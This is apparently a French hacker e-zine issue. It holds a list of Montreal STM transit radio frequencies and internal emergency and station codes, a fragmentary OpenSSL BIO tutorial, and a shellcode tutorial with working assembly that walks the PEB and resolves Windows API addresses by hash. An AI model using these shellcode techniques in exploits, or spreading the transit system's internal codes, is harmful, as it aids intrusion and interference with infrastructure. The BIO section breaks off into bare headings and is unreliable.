  	  		  linuxcafe        http://www.linux-cafe.ca                  /   , P   
                          security hack    http://securityhack.net                  /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   
             




  





     	    .-- -- ---- ----.
     	 ___|  MKD1001\003  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                        STM communication  
   
  	                                       AKA

				       aprizm nique La STM

                                      

              
         
       
       
                           .-..,,,,,_           
                        ,-`          `````'''---
                      .'      _,,.---..,,        `,      
                   _-`    ,-'`           `'-,      .     
                 ,'    _-`                   `',    \    
               -`     /                  .-     `.   `,  
               |    ,'                   | `.     .    . 
               \   /    -----------------\   \     \    '
                | /     |                     `.   \   .
                | |     |                       ,   |  |
                | |     |                      /    | / 
                | |     |                     /     | \ 
                \  ,    \-----       .----/  /     /  |
                 | \         |       |    | /      /  |
                 |  `.       |       |    \/      '  /            
                 \-,  \      |       \   *      ,'   |            
                    `. `',   \-------- ***   _-`     \  _,.       
                      `.  `-,,         ***,-`        -'`   `.     
                        `.    ******-'******  *** ***  ***   '    
                          /  ***  *** ******  *************   .    
                          \  ***       ***    ***  ***  ***   |    
                           | ******    ***    ***  ***  ***   |    
                           \  ******   ***    ***  ***  ***   |    
                           /   ******  ***    ***  ***  ***   |    
                           `      ***  ***    ***  ***  ***   |    
                          /  ***  ***  *****  ***  ***  ***  /     
                          -,  ******    ****  ***  ***  ***  |     
                            `.     ,,--.,       ,.-, *.oob.* | 
                              'mK``      ``'A1'`    `'/   `.| 
                                                            \ 



Chaque jours j'utilise le transport en commun et je me demande qu'est ce qui se passe derriere
cette geande machine soustenu par des gens habilles de bleu fonce avec le logo <STM> comme des 
minions...Ben jai faite des recherches et puis je vais partager le fruit de   mes  recherches.
Donc on commence ici par une liste des frequences utilise par la stm :


Surveillance du rseau (Scurit) 
411.4375 


Dans le metro seulement (systme radio sous-terrain) 
163.9200 Portatif 1 
165.7200 P.C.C. 1 
168.5050 Portatif 4 
169.4400 P.C.C. 2 
169.9050 P.C.C. 3 
464.2500 Portatif 2 
469.4500 Portatif 3 


voici un lien pour une liste plus complete : http://www.infoscan.urgence.qc.ca  <---  il  faut 
s'inscrire mais sa vaut le coup...  faite une recherche pour : EDACS STM 

Pour ecouter ces frequences un scanner analogue devrais faire la job y changent  graduellement 
leur equipement pour du digital d'ici la fin de 2006.

Donc maintenant que vous avez reussi a ecouter, voici une liste des codes de la stm  aussi  on
peut les entendres desfois quand on est sur les rames :


Code 61 : Surtemps pour les changeurs mais en urgence 

131 ou 132 Les surintendant des stations ligne 1 ou ligne 2 

131 ou 132 suivi  d'un  autre  chiffre  autre  que le 6 : Le grant de station portant ce code 
           d'appel personnel. 

Un chiffre suivi du 6 : Le  nettoyeur  de  la station concern (ex: 132-6 = le nettoyeur de la 
station Lionel-Groulx) 

430 - 440 - 432 et 442 = Les  4  contrematres  responsables de l'entretien sanitaire. Je suis 
                         442 

Code 900 suivi d'un chiffre de 01  013 et du nom de la station indique aux employs la nature 
de  la  panne. Ces codes sont des codes d'urgences demandant aux employs de porter assistance 
s'ils sont dans la station concerne. 

Ex: Code 900-02 station 140 indique une intrusion en tunnel par un usager  la station McGill 

01 Interventions policires 
02 Intrusion en tunnel 
03 Alerte  la bombe 
04 Tentative de mort violente 
05 Incendie 
06 Panne d'lectricit 
07 Infiltration de matires dangereuses 
08 Inondation 
09 Dynamitage 
010 Dommages structuraux 
011 Collision et/ou draillement 
012 tat de panique de la clientle 
013 Assistance mdicale 


Ces codes servent galement  dcongestionner les lignes tlphoniques utilises pour le  code 
99 puisque le code donne toute l'information requise pour informer la clientle.    Ces  codes 
indiquent galement que le Centre de communication est en tat d'urgence et que    les  appels
non-urgents doivent tre reports aprs l'incident... C'est pas le temps de les  appeler  pour 
les informer qu'un client a vomi  tel endroit, a peut attendre ! 

Il existe plusieurs autres codes mais ce sont pour la plupart des appels  s'adressant     des
employs spcifiques (matricule de l'employ ou encore no de la section concerne). 

Ex: 69520 = Mon quipe et moi 


Voici la liste des codes des stations 


118 - Angrignon 
120 - Monk 
122 - Jolicoeur 
124 - Verdun 
126 - De L'glise 
128 - Lasalle 
130 - Charlevoix 
132 - Lionel-Groulx 
134 - Atwater 
136 - Guy-Concordia 
138 - Peel 
140 - McGill 
142 - Place-des-Arts 
144 - Saint-Laurent 
146 - Berri/UQAM 
148 - Beaudry 
150 - Papineau 
152 - Frontenac 
154 - Prfontaine 
156 - Joliette 
158 - Pie-IX 
160 - Viau 
162 - L'Assomption 
164 - Cadillac 
166 - Langelier 
168 - Radisson 
170 - Honor-Beaugrand 
222 - Cte-Vertu 
224 - Du Collge 
228 - De La Savane 
230 - Namur 
232 - Plamondon 
234 - Cte Ste.Catherine 
236 - Snowdon 
238 - Villa-Maria 
242 - Vendme 
244 - Place Saint-Henri 
248 - Georges-Vanier 
250 - Lucien L'Allier 
252 - Bonaventure 
254 - Square-Victoria 
256 - Place d'Armes 
258 - Champs-de-Mars 
262 - Sherbrooke 
264 - Mont-Royal 
266 - Laurier 
268 - Rosemont 
270 - Beaubien 
272 - Jean-Talon 
274 - Jarry 
276 - Crmazie 
278 - Sauv 
280 - Henri-Bourassa 
452 - Jean-Drapeau 
454 - Longueuil 
534 - Cte-des-Neiges 
536 - Universit de Montral 
538 - douard-Montpetit 
540 - Outremont 
542 - Acadie 
544 - Parc 
546 - De Castelnau 
552 - Fabre 
554 - D'Iberville 
556 - Saint-Michel 



L'osti d'ecran geant dans berri uqam ben stun pc qui roule sa.. plus precisement un p4 3.2 ghz 
sa bug souvent chaque matin jvois dekoi qui fuck on dirais heahaeh desfois sa   reboot  lautre 
matin cetait bugge pis sa donnais un message genre : missing or invalid hal.dll. Anyways... si 
qqun reussi a voir des choses sur cette ecran prenez des pics ou prenez des notes .... :D 

Avec le zine jai reussi a injecter 2 file audio de la stm  (voir  le folder STM communication)
mais si vous en voulez plus yen a une couple  sur   :  http://www.stcum.qc.ca/info/timbres.htm
jvais essayer den recorder moi meme  si jreussi a me trouver un scanner portable abordable ... 
enjoy :D 

C'est tout pour linstant jdevrais en ecrire un autre dans un prochain # ...  La  stm  renferme 
beaucoup de secret qui merite une attention particuliere ... P3ace

source: 

http://www.stm.info
http://www.metrodemontreal.com <--- mad props yon tellement dinfos sa vaut lcoup daller  jeter
                                    un coup doeil au board de temps en temps. 


Aprizm


     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by aprizm     |
           			                  '--------------------'


                   
 						     


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                          radio31337 		           		 .  '
        									         |  |
                                http://radio31337.mindkind.org/                          :  |
                         					                         |  |
       	   Depuis le 15 octobres, radio31337 est devenu un network. Si certain ce        |  |
           demande ce que ca veut dir, he bien voici comment LastCall_ nous a toute      |  |
           essspliquer ca :           						         |  |
    											 |  |
          "Radio 31337 est maintenant un network! Koss a veut dire? Juste que nous     |  |
           allons avoir plusieurs missions originales, et que l'mission avec init et   |  |
           last sera "31337radio".  			                                 ;  '
                                                                                         |  |
           Simple comme bonjour, merci Last. A vous maintenant de vous tenir au courant  |  :
           afin d'ecouter les emissions live. Sinon, allez faire un tour sur le site	/   '
 	   de temps en temps, les emissions sont tous uploader en format mp3. Si       /   / B
	   vous desirez avoir votre propre emission, contactez notre unique LastCall_ /   / U   
  	   		 				                             /   , P   
                                     lastcall@mindkind.org     			    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   




     	    .-- -- ---- ----.
     	 ___|  MKD1001\004  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                     Utilisation de BIO_SSL
   
  	                                       AKA

				     coucou cherie c moi !
                                      



utilisation de BIO_SSL
SSL
algos utilis
contexte SSL
BIO
introduction
description



la  lib  BIO est une couche d'abstraction d'entree/sortie. grce  celle ci, vous pourrez lire
dans un fichier classique, comme vous communiquerez via socket protg par SSL. 

les chaines
cette lib contient 2  types  d'elements, les sources  (socket, fichier, ...)  et  les  filtres 
(cryptage, buffer, ...). ces elements sont  reli ensemble selon les besoins de l'utilisateur, 
en une double liste chaine un exemple classique est la chaine BIO utilise par un client SSL : 

BIO_buffer => BIO_ssl => BIO_socket
le  premier  element de la chaine est le  premier  tre appel  lors  de  toute  opration de 
lecture/criture.  par  exemple, si l'on fait une opration read sur buffer, celui si va faire 
une opration read sur SSL, qui fera lui mme une  opration  read  sur  socket.  le   dernier 
element doit donc tre une source, et les autres des filtres. 

tout  BIO  est  un maillion d'une chaine, lors de sa cration, il est seul, c'est a nous de le 
lier grce  BIO_push qui permet d'ajouter un  element  la  fin  BIO_pop  permet  de  retirer 
l'element  courant  de  la  chaine,  et  renvoi  l'element  suivant connect  toute la chaine 
rsultante. 

la structure des elements
un BIO_METHOD est un type, qui contient les oprations necessaire au BIO : 

typedef struct bio_method_st {
  int type;
  const char *name;

  int (*bwrite)(BIO *, const char *, int);
  int (*bread)(BIO *, char *, int);
  int (*bputs)(BIO *, const char *);
  int (*bgets)(BIO *, char *, int);
  long (*ctrl)(BIO *, int, long, void *);

  int (*create)(BIO *);
  int (*destroy)(BIO *);

  long (*callback_ctrl)(BIO *, int, bio_info_cb *);
} BIO_METHOD;


pour  crer un nouvel element, il nous faut recuperer le BIO_METHOD  de  notre  element.  pour 
chaque type de maillion BIO, il existe une  fonction  permettant  de  recuperer ce BIO_METHOD, 
son nom est forme comme suit : 

// sources
BIO_METHOD *BIO_s_accept(void);
BIO_METHOD *BIO_s_connect(void);
BIO_METHOD *BIO_s_socket(void);
BIO_METHOD *BIO_s_fd(void);
// filtres
BIO_METHOD *BIO_f_ssl(void);
BIO_METHOD *BIO_f_buffer(void);

// sources et filtres inconnue en vrac
BIO_METHOD *BIO_s_mem(void);
BIO_METHOD *BIO_s_log(void);
BIO_METHOD *BIO_s_datagram(void);
BIO_METHOD *BIO_s_bio(void);
BIO_METHOD *BIO_s_null(void);
BIO_METHOD *BIO_f_null(void);
BIO_METHOD *BIO_f_linebuffer(void);
BIO_METHOD *BIO_f_nbio_test(void);

la  structure  d'un maillion est complexe, mais il y'a peu  gerer pour crer un nouveau type 
de maillion

typedef struct bio_st{
  BIO_METHOD *method;
  
  long (*callback)(struct bio_st *,int,const char *,int, long,long);
  char *cb_arg;

/* partie importante si on cree un nouveau type de maillion */
  int init;
  int shutdown;
  int flags;
  int retry_reason;
  int num;
  void *ptr; // on stocke nos donnes lie/****************************************************/

  struct bio_st *next_bio;
  struct bio_st *prev_bio;

  int references;
  unsigned long num_read;
  unsigned long num_write;

  CRYPTO_EX_DATA ex_data;
} BIO;


mais  pour  l'instant  nous  allons nous contenter des types que nous avons, et la cration de 
nouveau type pourra tre le sujet d'un autre article

opration de base
BIO_buffer
BIO_ssl
BIO_connect
BIO_accept
utilisation de openssl
generation de cl/h2> 
certificat
empreinte
elements interressant de la lib ssl
BN
     __  __           __  _____               
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /    
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Hackever   |
           			                  '--------------------'




      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                a fruity tales of experiences.                           .  '
        									         |  |
                                                                                         :  |
                                                                                         ;  '
            <Wyzeman> asti de bug vedge les windows devienne pu ontop                    |  |
            <Wyzeman> c crissement annoy                                                                             |  :
            <patoff> ctrl + alt + del,  esc   ca arrange souvent                        /   '
 	    <Wyzeman> true                                                             /   / B
	                                                                              /   / U   
  	   		 				                             /   , P   
                                                            			    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   





     	    .-- -- ---- ----.
     	 ___|  MKD1001\005  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   Inteligent Windows Shellcode
   
  	                                      AKA

                                   Inteligent Windows Shellcode ;)
	          
                                     
  

) Intro
--------

Hello everybody. Dans mes derniers articles j'ai exploite differentes
vulnerabilitees en utilisant des shellcodes. Ces shellcodes ne pouvaient
fonctionner que sur un seul environnement, les adresses que j'ai utilisees
pour les fonctions etaient celles de mon win2K sp4 et celles ci ont une facheuse
tendance a etre modifiees avec les updates et version de win.

Nous allons voir qu'il est possible de creer un code capable de se reperer
tout seul dans le processus attaque. Pour cela je vais parler de la gestion de
l'espace memoire sous win, du format PE, ... 
Je n'ai pas envie de tout expliquer, vous trouverez des liens pour vous aider avec 
certaines choses. He ouais faut bien que vous bossiez tout seul :p

Les codes que je donne ici ne sont pas des references, je suis pas un tres bon
codeur, j'essaye neanmoins de faire du mieux que je peux.


II) Some explanations
---------------------
Il faut savoir que sous tout les OS multitaches chaque processus possede son
prope espace memoire. Sous un windows 32 bits il y a 2^32 addresses possibles
pour chaque process, donc un espace virtuellement ! allouable de 4.3 Gb
(chaque process ne prend pas 4 G de ram hein ;))de 00000000h  FFFFFFFFh, la moitie de
cet espace est reserve au noyau (kernel land) et l'autre moitie a l'utilisateur
(user land). Lorsque vous lancer un prog celui ci est charge en memoire par le
loader de windows, celui ci trouve plein d'informations dans l'en-tete du
fichier, le fameux format PE, il renseigne le loader sur l'endroit ou il doit
charger les donnees,les differentes sections et le plus important sur les
fonctions importees ou exportees. Pour nous l'objectif sera que notre code
aille lire ces infos pour trouver ses fonctions. De plus amples information avec [Ring3].

Il existe 3 types d'adresses:VA, RVA et RAW: 
Les VA (virtual address) sont les addresses qui sont manipulees par tout programme de 
la forme 0x12345678 

les RVA (Relative Virtual Adress) sont comme sont leurs nom l'indique des addresses
relative a l'ImageBase du process ainsi dans l'en-tete PE toute les adresse sont
des RVA par exemple si pour AddressOfNames on a 0x54F4C, pour trouver
AddressOfNames en memoire il faut lui ajouter l'ImageBase, si celle ci vaut
0x77E70000 on aura AddresseOfNames a 0x77EC4F4C. 

Les RAW sont quand a elles des addresses qui sont ds le fichier sur le disque.
Pour notre exemple cela donne offset:5454C

Vous trouvez des docs avec [NEITSA] et [LORDPE].

Nous voulons que notre shellcode soit capable de se demerder tout seul, il
nous faut donc avoir un repere fiable et communs a tout les processus. Pour nous ce
sera le TEB (Thread Environnement Block) c'est tout simplement une structure
qui contient differentes informations sur le thread execut, il est toujours
pointe par le segment FS:[0] (Voir [RW32GS]). Dans cette structue du TEB nous
trouvons en 0x30 un pointeur sur le PEB (Process Environnment Block). Dans le PEB on
trouve a 0x8 l'ImageBase de notre process c'est a dire l'endroit ou il a ete
charge en memoire.

typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE  Mutant;
PVOID   ImageBaseAddress; //0x8
PPEB_LDR_DATA LoaderData; //0xC
..
..
} PEB, *PPEB;


Apres avoir recupere l'ImageBase de notre process il faut que notre code
trouve la fonction dont il a besoin, pour cela il va aller lire les differentes
informations du PE. Je vais essayer d'expliquer comment l'on va proceder.

IMAGE_DOS_HEADER.e_lfanew // RVA IMAGE_NT_HEADERS32

IMAGE_NT_HEADERS32.OptionalHeader.DataDirectory[1].VirtualAddress //RVA IMAGE_IMPORT_DESCRIPTOR

Chaque structure IMAGE_IMPORT_DESCRIPTOR contient des informations pour une
DLL importee. Par exemple si nous importons des fonctions de Kernel32.dll et de
User32.dll nous aurons 2 structures qui se suivent dans la memoire (un tableau
quoi). Voila a quoi ressemble une de ces structure:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;

Ce qui nous interresse est OriginalFirstThunk et Firsthunk. L'union que vous
voyez signifie que la premiere valeur de la structure est aussi bien
Characteristics que OriginalFirstThunk mais ca n' a pas trop d'importance ici.
En fait nous avons 2 pointeurs sur des tableaux de Thunks:

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;

Vous voyez que IMAGE_THUNK_DATA32 n'est qu'un simple DWORD qui peut vouloir
dire plein de choses. En fait l'OrginalFirstThunk pointe sur un tableau de Thunks
ne contenant que des RVA (AddressOfData) sur IMAGE_IMPORT_BY_NAME cette structure
contient un word puis le nom de la fonction importee.

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

Nous savons ou sont les noms des fontions, il nous "suffit" de scanner ces
noms afin de trouver celle qu'on cherche. Mais il  faut savoir a quelle addresse
est chargee cette fonction pour cela on va utiliser le second tableau de Thunk
celui pointe par FirstThunk, chacun de ces Thunk pointe sur la VA d'une fonction, en
schematisant ca donne:

OriginalFirstThunk->AddressOfData

[Thunk 1]													[Thunk2]								[Thunk3]              [Thunk4]
0x00EC/"NtResetWriteWatch"   0x014A/"RtlAllocateHeap"	    0x009/"NtOpenFile"    0x003D/"ExitProcess"  //Hint/Name

FirstThunk->Function

[Thunk 1]													[Thunk2]								[Thunk3]               [Thunk4]
0x12345678												0x.......								0x.......              0x.......  //adresses des fontions


Ces 2 tableau sont paralleles, ainsi si nous voulons l'adresse de ExitProcess
nous scannons le tableau des noms de fontions, on remarque que c'est le 4 eme
Thunk puis nous allons dans le tableau des adresses de fontions et l'on prend
le 4 eme element easy :)


III) L'Importation
----------------

J'ai decide de faire cela en assembleur pour avoir le code le plus petit
possible et parceque j'aime l'asm ;). So let's go.
Evidemment c'est compiler avec MASM32 [MASM32].

Ban on commence par un premier probleme, comment etre sur de tomber sur la
bonne fontion, je m'explique. Vous le savez (ou pas) en assembleur on ne peut 
comparer directement que des BYTE,WORD ou DWORD, imaginons que je cherche la fonction ExitProcess
je scanne mon tableau de noms puis je compare avec "ExitProcess" pour voir si
j'ai la bonne mais c'est la qu'il ya souci si l'on fait:

cmp dword ptr [eax],"tixE" // eax pointe sur le nom de la fontion et on le compare a "Exit"

parce que si jamais il y existe un autre fonction commencant par Exit on est
foutu. Et je peut vous dire qu'il en existe
pas mal: ExitThread,ExitTaMere, ExitTonCul .....bref :)

Dans de nombreux shellcodes que j'ai vu que la methode de comparaison avec une
string qui etait mise en oeuvre etait souvent complique voir [ROOTKIT]. 
Cependant il existe une methode, c'est d'assigner une signature a chaque fonction. 
Un hash si vous preferer, pas un truk genre MD5 au SHA-1 mais qqch de plus simple qui nous
permettera d'avoir une signature unique par fonction,le voici en C_asm :)

------------CUT HERE--------------------
#include <stdio.h>

int main (int argc, char * argv[])
{
	if (argc !=2)
	return -1;
	
	int hash=0;
	for (int i=0; *(argv[1]+i)!=0;i++)
	{
	__asm{
	lea eax,hash //adresse du hash ds eax
	mov ebx,[eax] //ebx=hash
	ror ebx,0xD //decalage de 13 bytes sur la droite
	mov [eax],ebx //refout ca ds hash
	}
	hash+=*(argv[1]+i); //on ajout a hash le i eme caractere*i
	}
	printf("Hash de %s: %x\n",argv[1],hash);
}
------------CUT HERE--------------------

Exemple avec ExitProcess:
C:\ProgHack\C>hash ExitProcess
Hash de ExitProcess: 73e2d87e

Apres tout ca ya plus qu'a pondre le code :)
voili voilou:

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

FindImport	PROTO	:DWORD,:DWORD

_ExitProcess equ 073e2d87eh

.data
format db "Addr: 0x%x ",10,0
.data?
buffer db 100 dup(?) 
.code
start:
		mov eax,fs:[30h]		;Sur le PEB
		mov ebx,[eax+08h]		;Sur image base address
		
		invoke FindImport,ebx,_ExitProcess
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		invoke ExitProcess,0
		retn
		
FindImport PROC _ImageBase:DWORD, ApiHash:DWORD	

		mov ebp,_ImageBase			;ebp=ImageBase Process
		mov eax,[ebp + 03ch]		; signature PE
		mov ecx,[ebp + eax + 080h]	; RVA Import Table
		
		mov edx,ebp
		add edx,ecx 	;edx VA IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk
		
	next_dll:
		mov ebx,dword ptr [edx]	;Rva IMAGE_THUNK_DATA32
		test ebx,ebx	;Fin du tableau?
		je fin
		add edx,014h	;Next IMAGE_IMPORT_DESCRIPTOR (prochaine DLL)
		add ebx,ebp	;VA IMAGE_THUNK_DATA32
		xor ecx,ecx	;compteur a 0 ;compteur pour les fonctions de la dll
		;On scan les noms de fonctions a la recherche de celle qui nous interesse
		
	find_function:
		
		mov esi,dword ptr [ebx+ecx]	;esi RVA AddressOfData
		add ecx,4	;next IMAGE_THUNK_DATA32
		test esi,esi	;plus de Thunk ?
		je next_dll
		add esi,ebp	;esi VA IMAGE_IMPORT_BY_NAME 
		add esi,2	;Name
		
		xor edi, edi
		xor eax, eax
		cld
	hash:
		lodsb	;LODSB Load byte at address DS:(E)SI into AL
		test al,al	;fin du nom ?
		jz finished
		ror edi,0dh
		add edi,eax
		jmp hash
	finished:
	cmp edi,dword ptr [esp+0Ch]	;ApiHash
	
;Image de la stack	
;esp=> 		0012FFF0  saved ebp
;esp+4	    00401014  save eip
;esp+8  	00400000  ImageBase
;esp+C 	    73E2D87E  Hash

	jne find_function
	
	sub edx,14h
	sub ecx,4
	mov ebx,dword ptr [edx+10h]	;rva firstthunk
	add ebx,ebp	;tableau des thunks
	add ebx,ecx	;eax addr de va fonction
	mov eax,dword ptr [ebx]
	jmp bye
	fin:
	xor eax,eax
	bye:
	pop ebp
	retn 
FindImport endp

end start 
------------CUT HERE--------------------

Ce qui nous donne:
Addr: 0x77e969be
Ho yeah on a l'addresse :).

Hola pas la peine de ce rejouir trop vite. En effet par cette methode nous ne
pouvons recuperer que les addresses de fonctions importes par notre programme. 
He ouais si on cherche d'autre fonctions c'est foutu:
par exemple vla ce que on importe avec le prog import.exe.(fait avec LordPe)


->Import Table
   1. ImageImportDescriptor:
    OriginalFirstThunk:  0x00002064
    TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
    ForwarderChain:      0x00000000
    Name:                0x00002078  ("user32.dll")
    FirstThunk:          0x00002010

    Ordinal/Hint API name
    ------------ ---------------------------------------
    0x0262       "wsprintfA"

   2. ImageImportDescriptor:
    OriginalFirstThunk:  0x00002054
    TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
    ForwarderChain:      0x00000000
    Name:                0x00002092  ("kernel32.dll")
    FirstThunk:          0x00002000

    Ordinal/Hint API name
    ------------ ---------------------------------------
    0x0134       "GetStdHandle"
    0x0080       "ExitProcess"
    0x029E       "WriteFile"


Whaou on importe 4 fonctions. Pas de quoi faire grand chose avec ca. Mais il
existe une autre solution, c'est d'aller les chercher ds les tables d'exportations 
des dll chargees!

IV) L'Exportation
------------------

Precedemment nous avons fouille dans le PEB pour touver l'ImageBase de notre
process, on peut aussi trouver dans ce PEB les ImageBase des dll (ou modules)
chargees par le prog. Il nous suffit de recup ces ImageBase puis de lire les
tables d'exportation des modules.[WIN_MEM]

A 0xC on trouve dans le PEB un pointeur sur une structure PEB_LDR_DATA la voici:

typedef struct _PEB_LDR_DATA
{
	unsigned int Length ; 	
	int Initialized ;	 
	PVOID SsHandle ;	
	LIST_ENTRY InLoadOrderModuleList ;	// 0x0c
	LIST_ENTRY InMemoryOrderModuleList ;	// 0x14
	LIST_ENTRY InInitializationOrderModuleList ;// 0x1c
} PEB_LDR_DATA, *PPEB_LDR_DATA ;


On va s'interesser a la double liste chain InMemoryOrderModuleList qui
contient des pointeurs sur des structures de type LDR_MODULE:

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY *Flink;
  struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

Une double liste chainee c'est pas dur ya un pointeur vers la structure suivant
puis un autre sur la structure precedente :)

typedef struct _LDR_MODULE {
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;


A 0x18 on a l'ImageBase du module, si c'est pas joli tout ca. Evidemment dans
les modules chargs on trouve l'ImageBase de notre process et celui ci n'exporte pas les
fonctions que nous voulons donc on touche pas.

Voila le code qui enumere les ImageBase des modules chargs.

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

.data

load db "InLoadOrderModuleList:",10,0
memory db 10,"InMemoryOrderModuleList",10,0
ini db 10,"InInitializationOrderModuleList",10,0
format db "Imagebase: 0x%x ",10,0
.data?
buffer db 100 dup(?) 
.code
start:
		invoke StdOut,addr  load
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+0Ch];LoaderData->InLoadOrderModuleList.Flink
	next_Flink:
		mov eax,dword ptr [ebx+18h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InLoadOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink
		
		invoke StdOut,addr memory
		
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+014h];LoaderData->InMemoryOrderModuleList.Flink
	next_Flink1:
		mov eax,dword ptr [ebx+10h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InMemoryOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink1
		
		
		invoke StdOut,addr ini
		
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+01Ch];LoaderData->InInitializationOrderModuleList.Flink
	next_Flink2:
		mov eax,dword ptr [ebx+8h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InInitializationOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink2
		
		invoke ExitProcess,0
		retn
	
end start 

------------CUT HERE--------------------

Ce qui donne:

InLoadOrderModuleList:
Imagebase: 0x400000 //Notre process
Imagebase: 0x78460000 //Ntdll.dll
Imagebase: 0x77e00000 //User32.dll
Imagebase: 0x77f40000 //GDI32.dll
Imagebase: 0x77e70000 //Kernel32.dll
Imagebase: 0x0

InMemoryOrderModuleList
Imagebase: 0x400000
Imagebase: 0x78460000
Imagebase: 0x77e00000
Imagebase: 0x77f40000
Imagebase: 0x77e70000
Imagebase: 0x0

InInitializationOrderModuleList
Imagebase: 0x78460000
Imagebase: 0x77e70000
Imagebase: 0x77f40000
Imagebase: 0x77e00000
Imagebase: 0x0


Donc en couplant ce code avec celui qui scanne la table des exportations on peut
